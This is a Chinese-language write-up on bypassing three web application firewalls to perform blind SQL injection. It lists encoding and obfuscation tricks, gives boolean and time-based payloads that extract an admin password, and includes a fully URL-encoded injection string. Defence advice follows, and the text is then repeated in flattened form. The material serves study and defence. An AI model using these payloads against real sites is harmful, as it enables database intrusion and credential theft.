怒绕三个WAF注入的小故事
字数 897 2025-08-19 12:40:34

绕过三个WAF的SQL注入技术分析

漏洞发现与初步分析

  1. 漏洞类型:字符串型盲注(无报错回显)
  2. 初步测试
    • 注入单引号'时,返回404或500错误(交替出现,无规律)
    • 注入两个单引号''时,页面正常显示
  3. 环境特点:存在WAF(Web应用防火墙)防护,且可能有混淆情况

WAF绕过技术

1. 第一个WAF绕过

问题:直接使用'会被拦截

绕过方法

  • 使用URL编码:%27替代单引号
  • 使用注释混淆:'-- -'/*xxx*/
  • 使用空白字符:'%09(水平制表符)、'%0A(换行符)、'%0D(回车符)

2. 第二个WAF绕过

问题:检测到ANDOR等关键词

绕过方法

  • 大小写混合:aNdOr
  • 内联注释:/*!AND*/
  • 空白字符分隔:A N D
  • 使用数学运算符替代:&&替代AND||替代OR
  • 使用^(异或)操作符

3. 第三个WAF绕过

问题:检测到SELECTFROM等SQL关键字

绕过方法

  • 使用十六进制编码:0x73656C656374替代select
  • 使用注释分割:SEL/*xxx*/ECT
  • 使用反引号:SELECT
  • 使用动态执行:PREPARE stmt FROM CONCAT('SEL','ECT'); EXECUTE stmt;

盲注技术实现

  1. 布尔盲注

    ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- -
    
  2. 时间盲注

    ' AND IF(SUBSTRING(password,1,1)='a',SLEEP(5),0)-- -
    
  3. 绕过技巧

    • 使用LIKE替代='a' LIKE 'a'
    • 使用REGEXP'a' REGEXP '^a'
    • 使用MID替代SUBSTRING

完整注入示例

%27%20%41%4E%44%20%28%53%45%4C%45%43%54%20%31%20%46%52%4F%4D%20%28%53%45%4C%45%43%54%20%43%4F%55%4E%54%28%2A%29%2C%43%4F%4E%43%41%54%28%30%78%37%61%2C%28%53%45%4C%45%43%54%20%28%53%45%4C%45%43%54%20%43%4F%4E%43%41%54%28%30%78%37%61%2C%30%78%37%61%2C%30%78%37%61%29%29%29%2C%30%78%37%61%29%20%46%52%4F%4D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%74%61%62%6C%65%73%20%57%48%45%52%45%20%74%61%62%6C%65%5F%73%63%68%65%6D%61%3D%64%61%74%61%62%61%73%65%28%29%20%4C%49%4D%49%54%20%30%2C%31%29%29%20%41%53%20%78%29%3D%31%20%2D%2D%20%2D

防御建议

  1. 使用参数化查询(预编译语句)
  2. 实施最小权限原则
  3. 对所有输入进行严格验证和过滤
  4. 使用Web应用防火墙规则更新
  5. 禁用错误信息回显
  6. 定期进行安全审计和渗透测试

总结

该案例展示了如何通过多层编码、注释混淆和关键字变形等技术绕过多个WAF防护进行SQL注入攻击。攻击者需要耐心测试各种绕过方法,并组合使用多种技术才能成功实施注入。防御方则需要采取深度防御策略,不仅依赖WAF,还要从代码层面做好防护。

绕过三个WAF的SQL注入技术分析 漏洞发现与初步分析 漏洞类型 :字符串型盲注(无报错回显) 初步测试 : 注入单引号 ' 时,返回404或500错误(交替出现,无规律) 注入两个单引号 '' 时,页面正常显示 环境特点 :存在WAF(Web应用防火墙)防护,且可能有混淆情况 WAF绕过技术 1. 第一个WAF绕过 问题 :直接使用 ' 会被拦截 绕过方法 : 使用URL编码: %27 替代单引号 使用注释混淆: '-- - 或 '/*xxx*/ 使用空白字符: '%09 (水平制表符)、 '%0A (换行符)、 '%0D (回车符) 2. 第二个WAF绕过 问题 :检测到 AND 、 OR 等关键词 绕过方法 : 大小写混合: aNd 、 Or 内联注释: /*!AND*/ 空白字符分隔: A N D 使用数学运算符替代: && 替代 AND , || 替代 OR 使用 ^ (异或)操作符 3. 第三个WAF绕过 问题 :检测到 SELECT 、 FROM 等SQL关键字 绕过方法 : 使用十六进制编码: 0x73656C656374 替代 select 使用注释分割: SEL/*xxx*/ECT 使用反引号: SELECT 使用动态执行: PREPARE stmt FROM CONCAT('SEL','ECT'); EXECUTE stmt; 盲注技术实现 布尔盲注 : 时间盲注 : 绕过技巧 : 使用 LIKE 替代 = : 'a' LIKE 'a' 使用 REGEXP : 'a' REGEXP '^a' 使用 MID 替代 SUBSTRING 完整注入示例 防御建议 使用参数化查询(预编译语句) 实施最小权限原则 对所有输入进行严格验证和过滤 使用Web应用防火墙规则更新 禁用错误信息回显 定期进行安全审计和渗透测试 总结 该案例展示了如何通过多层编码、注释混淆和关键字变形等技术绕过多个WAF防护进行SQL注入攻击。攻击者需要耐心测试各种绕过方法,并组合使用多种技术才能成功实施注入。防御方则需要采取深度防御策略,不仅依赖WAF,还要从代码层面做好防护。